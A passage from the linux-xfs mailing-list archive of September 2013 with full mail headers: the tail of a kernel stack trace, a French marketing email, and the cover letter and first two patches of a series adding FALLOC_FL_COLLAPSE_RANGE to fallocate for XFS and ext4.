lockdep_trace_alloc+0xa1/0xe3 [] kmem_cache_alloc+0x28/0x1f2 [] ? kmem_zone_alloc+0x55/0xd0 [] kmem_zone_alloc+0x55/0xd0 [] ? xfs_trans_alloc+0x1f/0x35 [] kmem_zone_zalloc+0x11/0x36 [] _xfs_trans_alloc+0x2e/0x7c [] xfs_trans_alloc+0x2d/0x35 [] xfs_inactive+0x129/0x4a3 [] ? trace_hardirqs_on+0xb/0xd [] ? _raw_spin_unlock_irq+0x27/0x36 [] xfs_fs_evict_inode+0x6c/0x114 [] evict+0x8e/0x15d [] iput+0xc4/0x138 [] do_unlinkat+0x127/0x17f [] ? vmalloc_sync_all+0x133/0x133 [] SyS_unlinkat+0x23/0x3a [] sysenter_do_call+0x12/0x32 From dedie@conso1-1.com Sun Sep 8 03:32:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_IMAGE_RATIO_08, HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1565A7F58 for ; Sun, 8 Sep 2013 03:32:17 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8987EAC001 for ; Sun, 8 Sep 2013 01:32:13 -0700 (PDT) X-ASG-Debug-ID: 1378629124-04cb6c153de38420001-w1Z2WR Received: from sb245.sdrmn.fr (sb245.sdrmn.fr [94.143.217.245]) by cuda.sgi.com with SMTP id yXLxG6wOZuCWBNWp for ; Sun, 08 Sep 2013 01:32:05 -0700 (PDT) X-Barracuda-Envelope-From: dedie@conso1-1.com X-Barracuda-Apparent-Source-IP: 94.143.217.245 DKIM-Signature: v=1; a=rsa-sha1; s=dk1024; d=conso1-1.com; l=6037; t=1378629124; c=relaxed/relaxed; h=from:to:subject:mime-version:date:message-id:content-type; bh=hOhRWAOpP+yhd2bBHMJiUVl45D8=; b=PYcQqITdufKmrVthCb5eodJyPcff5UqVqhOcCzP2RIA0fRGuLlFqT3IGeNVzNPws+EO69Q/XwQg+ 2NzDQG141JzIjaZB2wKkkPcdisOpYQqY+g2VqxadiEF4E0Tj0Q53h5OZ+1XfKwJbPubdVwASp8Pt 2/05Xs3I3gSD6LtwS2k= X-IdentID: 0.0.1.1 X-MXBID: 448168885.92.0.13 Precedence: Bulk X-rpcampaign: PredMJN_0 Subject: =?utf-8?B?QmllbnZlbnVlIGRhbnMgbGUgcHJvZ3JhbW1l?= From: "Conso One" X-ASG-Orig-Subj: =?utf-8?B?QmllbnZlbnVlIGRhbnMgbGUgcHJvZ3JhbW1l?= Reply-To: To: Date: Sun, 08 Sep 2013 10:32:04 +0200 Content-Type: multipart/alternative; boundary="=-nxs_alt_50ba84aa7d9d7d8f78c28b324c987b0f" Message-Id: MIME-Version: 1.0 X-Mailer: MXSendMail 1.0 X-Barracuda-Connect: sb245.sdrmn.fr[94.143.217.245] X-Barracuda-Start-Time: 1378629124 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_08, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140435 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_RATIO_08 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --=-nxs_alt_50ba84aa7d9d7d8f78c28b324c987b0f Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 7bit Bienvenue dans le programme Vous recevez ce message car vous êtes inscrit sur Shopin. Si vous souhaitez des informations sur nos services vous rendre ici     Bonjour, Vous voulez faire des économies sur tout ? Recevoir des échantillons ? Obtenir des cadeaux ? Nous avons trouvé trois nouveaux services que nous voulons vous faire découvrir : Conso One, Gagner cadeaux et Idées Promo Ces programmes diffusent des offres sélectionnées pour vous sur des thèmes riches et variés : cuisine, informatique, voyage, mode, santé, bricolage, déco, auto, financement... Bien entendu, étant sans aucun engagement de votre part, vous pourrez vous désabonner de ces services quand bon vous semblera en cliquant sur le lien de désinscription ci-dessous : - Je renonce aux échantillons et à faire des économies. Comptez sur moi pour vous gâter ! Sandrine Si ce service ne correspond pas à vos attentes, désinscrivez-vous. Veuillez nous excuser pour les désagréments occasionnés. Conformément à la loi Informatique et Liberté du 06/01/1978, vous disposez d'un droit d'accès, de rectification ou de radiation des données vous concernant. --=-nxs_alt_50ba84aa7d9d7d8f78c28b324c987b0f Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 7bit Bienvenue dans le programme

Vous recevez ce message car vous êtes inscrit sur Shopin.
Si vous souhaitez des informations sur nos services vous rendre ici

  Conso one  
Abonnement

Bonjour,

Vous voulez faire des économies sur tout ? Recevoir des échantillons ? Obtenir des cadeaux ?

Nous avons trouvé trois nouveaux services que nous voulons vous faire découvrir : Conso One, Gagner cadeaux et Idées Promo

Ces programmes diffusent des offres sélectionnées pour vous sur des thèmes riches et variés :
cuisine, informatique, voyage, mode, santé, bricolage, déco, auto, financement...

Bien entendu, étant sans aucun engagement de votre part, vous pourrez vous désabonner de ces services quand bon vous semblera en cliquant sur le lien de désinscription ci-dessous :

- Je renonce aux échantillons et à faire des économies.

Comptez sur moi pour vous gâter !

Sandrine

Conso One
Conso One

Si ce service ne correspond pas à vos attentes, désinscrivez-vous. Veuillez nous excuser pour les désagréments occasionnés.

Conformément à la loi Informatique et Liberté du 06/01/1978, vous disposez d'un droit d'accès, de rectification ou de radiation des données vous concernant.

--=-nxs_alt_50ba84aa7d9d7d8f78c28b324c987b0f-- From linkinjeon@gmail.com Sun Sep 8 08:41:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 920E67F5D for ; Sun, 8 Sep 2013 08:41:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 311A2AC001 for ; Sun, 8 Sep 2013 06:41:19 -0700 (PDT) X-ASG-Debug-ID: 1378647677-04bdf02f20e72e50001-NocioJ Received: from mail-pd0-f177.google.com (mail-pd0-f177.google.com [209.85.192.177]) by cuda.sgi.com with ESMTP id IraRMbLIXsAqjjiG (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Sep 2013 06:41:18 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.177 Received: by mail-pd0-f177.google.com with SMTP id y10so5128110pdj.22 for ; Sun, 08 Sep 2013 06:41:17 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=NzhxsrXaa4CAwnFHl2hV62Z0xcy/ZVO50PHm4AiJaCQ=; b=Bsq5pm5N1hgj7wGHlVNZudaXF1EbnWNzDg3WnFi95g5fNB+Qj+uKF2VEKFOJu4bXsp oAG217WRZknrGylQslnLOGiETyWj3CUJrnv97KQubCsRkq29RiGgLLIf0/948GgWDCao KcpwU2Wl/ZVDo+wD7IlsF7fxTlKcuLm40JEhHEQ9LghAWNZRfeexqUaos8z8gecRm88K SKFBNZ6GrRqiY1EHWlQY5jyWgqB+wve8Uavqe3E/qyegpPVin+PVZmPWzCN8kiggOpQA 3chUwuxBBcZU58c+mL++6q1D1d/6cWWjgQh/wPsRhzz8vfUAFukaGqVJOG+Wpm3f5YMw dlXw== X-Barracuda-BBL-IP: nil X-Received: by 10.67.21.130 with SMTP id hk2mr14901086pad.76.1378647677493; Sun, 08 Sep 2013 06:41:17 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id tz3sm10113554pbc.20.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Sep 2013 06:41:16 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v3 0/7] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Date: Sun, 8 Sep 2013 22:40:46 +0900 X-ASG-Orig-Subj: [PATCH v3 0/7] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-Id: <1378647647-2556-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f177.google.com[209.85.192.177] X-Barracuda-Start-Time: 1378647677 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This patch series is in response of the following post: http://lwn.net/Articles/556136/ "ext4: introduce two new ioctls" Dave chinner suggested that truncate_block_range (which was one of the ioctls name) should be an fallocate operation and not any fs specific ioctl, hence we add this functionality to fallocate. This patch series introduces new flag FALLOC_FL_COLLAPSE_RANGE for fallocate and implements it for XFS and Ext4. The semantics of this flag are following: 1) It collapses the range lying between offset and length by removing any data blocks which are present in this range and than updates all the logical offsets of extents beyond "offset + len" to nullify the hole created by removing blocks. In short, it does not leave a hole. 2) It should be used exclusively. No other fallocate flag in combination. 3) Offset and length supplied to fallocate should be fs block size aligned. This new functionality of collapsing range could be used by media editing tools which does non linear editing to quickly purge and edit parts of a media file. This will immensely improve the performance of these operations. The limitation of fs block size aligned offsets can be easily handled by media codecs which are encapsulated in a conatiner as they have to just change the offset to next keyframe value to match the proper alignment. Change log v3: Fix checkpatch.pl errors v2: Fix review points from Dave Chinner. - merge adjacent extents - fix journal log usage. - change reasonable function name. - update xfsio, xfstest, manpage - etc. Namjae Jeon (7): fs: add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate xfs: add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate ext4: add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate xfsprogs: xfsio: add support FALLOC_FL_COLLAPSE_RANGE for fallocate xfstest: Add test case to check various corner cases for collapsing range xfstest: Add test case to test multiple collapse range call manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate -- 1.7.9.5 From linkinjeon@gmail.com Sun Sep 8 08:41:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6B7E77F62 for ; Sun, 8 Sep 2013 08:41:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5BE5B304032 for ; Sun, 8 Sep 2013 06:41:46 -0700 (PDT) X-ASG-Debug-ID: 1378647704-04cb6c2e9fe45850001-NocioJ Received: from mail-pa0-f44.google.com (mail-pa0-f44.google.com [209.85.220.44]) by cuda.sgi.com with ESMTP id UVezBYUQE3J3fEv0 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Sep 2013 06:41:45 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.44 Received: by mail-pa0-f44.google.com with SMTP id fz6so5218911pac.17 for ; Sun, 08 Sep 2013 06:41:44 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=JvlyyQyT6WMoP/IQN1oMKt5Njlu4RqYeZ4VCisIpGiM=; b=e4rAtF6Jeq6dp/I5AwT3dNGDkiVW+GcMmq1xXd+CXd5nC7+3q8KAg0el4mnLeKn3Y6 l+s3uPUEvxPC3V8N7VVzuFdE3slF502qqGavPv/PIAXazzJ3vx3hKMJ0GZE7gGCW4hh5 rXbnzZNkjV+9552HoOnp8WaC4vDEwoyx6XAWMhD5KDrZcoanB20It+FLkAbI2YWOIA70 DBSO6JzpfvgpqvDwUUMiHsz4tpZE2/o/r5ZN9VARXyIJUbPyKwe0teG/Q7q3fWM8WbzC 30PZQhHv61IDaq1YTRVNW4dm6pTTAaWsvr04Fkk+CMQDh1i77rFWyUy5B0D105+7LmES UA5A== X-Barracuda-BBL-IP: nil X-Received: by 10.66.102.100 with SMTP id fn4mr14714142pab.71.1378647704705; Sun, 08 Sep 2013 06:41:44 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id tz3sm10115740pbc.20.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Sep 2013 06:41:44 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v3 1/7] fs: add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Date: Sun, 8 Sep 2013 22:41:35 +0900 X-ASG-Orig-Subj: [PATCH v3 1/7] fs: add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-Id: <1378647695-2598-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pa0-f44.google.com[209.85.220.44] X-Barracuda-Start-Time: 1378647705 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate. updated detailed semantics in comments. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/open.c | 24 +++++++++++++++++++++--- include/uapi/linux/falloc.h | 17 +++++++++++++++++ 2 files changed, 38 insertions(+), 3 deletions(-) diff --git a/fs/open.c b/fs/open.c index 7931f76..85d243a 100644 --- a/fs/open.c +++ b/fs/open.c @@ -225,12 +225,14 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) { struct inode *inode = file_inode(file); long ret; + unsigned blksize_mask = (1 << inode->i_blkbits) - 1; if (offset < 0 || len <= 0) return -EINVAL; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; /* Punch hole must have keep size set */ @@ -241,8 +243,12 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) if (!(file->f_mode & FMODE_WRITE)) return -EBADF; - /* It's not possible punch hole on append only file */ - if (mode & FALLOC_FL_PUNCH_HOLE && IS_APPEND(inode)) + /* + * It's not possible to punch hole or perform collapse range + * on append only file + */ + if (mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_COLLAPSE_RANGE) + && IS_APPEND(inode)) return -EPERM; if (IS_IMMUTABLE(inode)) @@ -270,6 +276,18 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) if (((offset + len) > inode->i_sb->s_maxbytes) || ((offset + len) < 0)) return -EFBIG; + /* + * Collapse range works only on fs block size aligned offsets. + * Check if collapse range is contained within (aligned)i_size. + * Collapse range can only be used exclusively. + */ + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && + (offset & blksize_mask || len & blksize_mask || + mode & ~FALLOC_FL_COLLAPSE_RANGE || + (offset + len > + round_up(i_size_read(inode), (blksize_mask + 1))))) + return -EINVAL; + if (!file->f_op->fallocate) return -EOPNOTSUPP; diff --git a/include/uapi/linux/falloc.h b/include/uapi/linux/falloc.h index 990c4cc..9614b72 100644 --- a/include/uapi/linux/falloc.h +++ b/include/uapi/linux/falloc.h @@ -4,6 +4,23 @@ #define FALLOC_FL_KEEP_SIZE 0x01 /* default is extend size */ #define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ #define FALLOC_FL_NO_HIDE_STALE 0x04 /* reserved codepoint */ +/* + * FALLOC_FL_COLLAPSE_RANGE: + * This flag works in 2 steps. + * Firstly, it deallocates any data blocks present between [offset, offset+len) + * This step is same as punch hole and leaves a hole in the place from where + * the blocks are removed. + * Next, it eliminates the hole created by moving data blocks into it. + * For extent based file systems, we achieve this functionality simply by + * updating the starting logical offset of each extent which appears beyond + * the hole. As this flag works on blocks of filesystem, the offset and len + * provided to fallocate should be aligned with block size of filesystem. + * The semantics of this flag are: + * 1) It should be used exclusively. No other fallocate flag in combination. + * 2) Offset and len supplied to fallocate should be aligned with block size. + * 3) (offset + len) could not be greater than file size. + */ +#define FALLOC_FL_COLLAPSE_RANGE 0x08 /* it does not leave a hole */ #endif /* _UAPI_FALLOC_H_ */ -- 1.7.9.5 From linkinjeon@gmail.com Sun Sep 8 08:42:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 14F937F5D for ; Sun, 8 Sep 2013 08:42:02 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A80C3AC002 for ; Sun, 8 Sep 2013 06:42:01 -0700 (PDT) X-ASG-Debug-ID: 1378647720-04bdf02f20e72eb0001-NocioJ Received: from mail-pb0-f51.google.com (mail-pb0-f51.google.com [209.85.160.51]) by cuda.sgi.com with ESMTP id 6t97LZXTCse0htDW (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Sep 2013 06:42:00 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.51 Received: by mail-pb0-f51.google.com with SMTP id jt11so5110072pbb.10 for ; Sun, 08 Sep 2013 06:42:00 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=sSkC1bjcMkxLFRHxsrFXCoARHJp32WeELI6RufSRg0Q=; b=yr9YR99wYTMfxDpJearY8XT8XsahpQnadhqYJkABSALMGg7SqkK/yN9bNDrhtmAIwV NK8rrkpxxkLqAMUp6Ev2cZR1T+0EjLXRfeznLz3dga20zxeT5C6JVMoSc0CcMOq9oCBO ObuloEmfQxnTGeQRrflRYd/5HWpMsI4YeVegVdwZNVZO1JR5qNjDJP+qmDF5x5DUP4co wpbsKqtus0v8t3RUj62LDbndO2V6LxlvEuzRZraOBZfgCsKKb8YHZT3T62rxLWf5u88A T3V8zOE5P0CWSQ/KhZzq2tp1V5cQ1x6fl6KrTEWzCAdF/1Ybato4oaKdnFfF9QIwX/66 t2qA== X-Barracuda-BBL-IP: nil X-Received: by 10.68.216.33 with SMTP id on1mr13644587pbc.107.1378647720017; Sun, 08 Sep 2013 06:42:00 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id yg3sm11065471pab.16.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Sep 2013 06:41:59 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v3 2/7] xfs: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Sun, 8 Sep 2013 22:41:50 +0900 X-ASG-Orig-Subj: [PATCH v3 2/7] xfs: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1378647711-2632-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f51.google.com[209.85.160.51] X-Barracuda-Start-Time: 1378647720 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/xfs/xfs_bmap.c | 174 ++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_bmap.h | 3 + fs/xfs/xfs_bmap_util.c | 96 ++++++++++++++++++++++++++ fs/xfs/xfs_bmap_util.h | 2 + fs/xfs/xfs_file.c | 20 ++++-- fs/xfs/xfs_fs.h | 6 ++ 6 files changed, 296 insertions(+), 5 deletions(-) diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 92b8309..c12358e 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -5356,3 +5356,177 @@ error0: } return error; } + +/* + * Update extents by shifting them downwards into a hole. + * At max count number of extents will be shifted and *current_ext + * is the extent number which is currently being shifted. + * This function will return error if the hole is not present + * while shifting extents. On success, 0 is returned. + */ +int +xfs_bmap_shift_extents( + struct xfs_trans *tp, + struct xfs_inode *ip, + int *done, + xfs_fileoff_t start_fsb, + xfs_fileoff_t shift, + xfs_extnum_t *current_ext, + xfs_fsblock_t *firstblock, + struct xfs_bmap_free *flist, + int count) +{ + struct xfs_btree_cur *cur; + struct xfs_bmbt_rec_host *gotp; + struct xfs_bmbt_irec left; + struct xfs_mount *mp = ip->i_mount; + struct xfs_ifork *ifp; + xfs_extnum_t nexts = 0; + xfs_fileoff_t startoff; + int error = 0; + int i; + int whichfork = XFS_DATA_FORK; + int state; + int logflags; + xfs_filblks_t blockcount = 0; + + if (unlikely(XFS_TEST_ERROR( + (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && + XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE), + mp, XFS_ERRTAG_BMAPIFORMAT, XFS_RANDOM_BMAPIFORMAT))) { + XFS_ERROR_REPORT("xfs_bmap_shift_extents", + XFS_ERRLEVEL_LOW, mp); + return XFS_ERROR(EFSCORRUPTED); + } + + if (XFS_FORCED_SHUTDOWN(mp)) + return XFS_ERROR(EIO); + + ifp = XFS_IFORK_PTR(ip, whichfork); + + if (!(ifp->if_flags & XFS_IFEXTENTS)) { + /* Read in all the extents */ + error = xfs_iread_extents(tp, ip, whichfork); + if (error) + return error; + } + + if (!*current_ext) { + gotp = xfs_iext_bno_to_ext(ifp, start_fsb, current_ext); + /* + * gotp can be null in 2 cases: 1) if there are no extents + * or 2) start_fsb lies in a hole beyond which there are + * no extents. Either way, we are done. + */ + if (!gotp) { + *done = 1; + return 0; + } + } + + /* We are going to change core inode */ + logflags = XFS_ILOG_CORE; + + if (ifp->if_flags & XFS_IFBROOT) { + cur = xfs_bmbt_init_cursor(mp, tp, ip, whichfork); + cur->bc_private.b.firstblock = *firstblock; + cur->bc_private.b.flist = flist; + cur->bc_private.b.flags = 0; + } + else { + cur = NULL; + logflags |= XFS_ILOG_DEXT; + } + + while (nexts++ < count && + *current_ext < XFS_IFORK_NEXTENTS(ip, whichfork)) { + state = 0; + + gotp = xfs_iext_get_ext(ifp, *current_ext); + startoff = xfs_bmbt_get_startoff(gotp); + startoff -= shift; + + /* + * Before shifting extent into hole, make sure that the hole + * is large enough to accomodate the shift. + */ + if (*current_ext) { + state |= BMAP_LEFT_VALID; + xfs_bmbt_get_all(xfs_iext_get_ext(ifp, + *current_ext - 1), &left); + + if (isnullstartblock(left.br_startblock)) + state |= BMAP_LEFT_DELAY; + + if (startoff < left.br_startoff + left.br_blockcount) + error = XFS_ERROR(EFSCORRUPTED); + + } else if (startoff > xfs_bmbt_get_startoff(gotp)) + /* Hole is at the start but not large enough */ + error = XFS_ERROR(EFSCORRUPTED); + + if (error) + goto del_cursor; + + /* Check if we can merge 2 adjacent extents */ + if ((state & BMAP_LEFT_VALID) && !(state & BMAP_LEFT_DELAY) && + left.br_startoff + left.br_blockcount == startoff && + left.br_startblock + left.br_blockcount == + xfs_bmbt_get_startblock(gotp) && + xfs_bmbt_get_state(gotp) == left.br_state && + left.br_blockcount + xfs_bmbt_get_blockcount(gotp) <= + MAXEXTLEN) { + blockcount = + left.br_blockcount + xfs_bmbt_get_blockcount(gotp); + state |= BMAP_LEFT_CONTIG; + xfs_iext_remove(ip, *current_ext, 1, 0); + XFS_IFORK_NEXT_SET(ip, whichfork, + XFS_IFORK_NEXTENTS(ip, whichfork) - 1); + gotp = xfs_iext_get_ext(ifp, --*current_ext); + } + + if (cur) { + error = xfs_bmbt_lookup_eq(cur, + xfs_bmbt_get_startoff(gotp), + xfs_bmbt_get_startblock(gotp), + xfs_bmbt_get_blockcount(gotp), + &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + + if (state & BMAP_LEFT_CONTIG) { + /* We have to update extent block count */ + xfs_bmbt_set_blockcount(gotp, blockcount); + } else { + /* We have to update the startoff */ + xfs_bmbt_set_startoff(gotp, startoff); + } + + if (cur) { + error = xfs_bmbt_update(cur, + xfs_bmbt_get_startoff(gotp), + xfs_bmbt_get_startblock(gotp), + xfs_bmbt_get_blockcount(gotp), + xfs_bmbt_get_state(gotp)); + if (error) + goto del_cursor; + } + + (*current_ext)++; + } + + /* Check if we are done */ + if (*current_ext == XFS_IFORK_NEXTENTS(ip, whichfork)) + *done = 1; + +del_cursor: + if (cur) + xfs_btree_del_cursor(cur, + error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); + + xfs_trans_log_inode(tp, ip, logflags); + + return error; +} 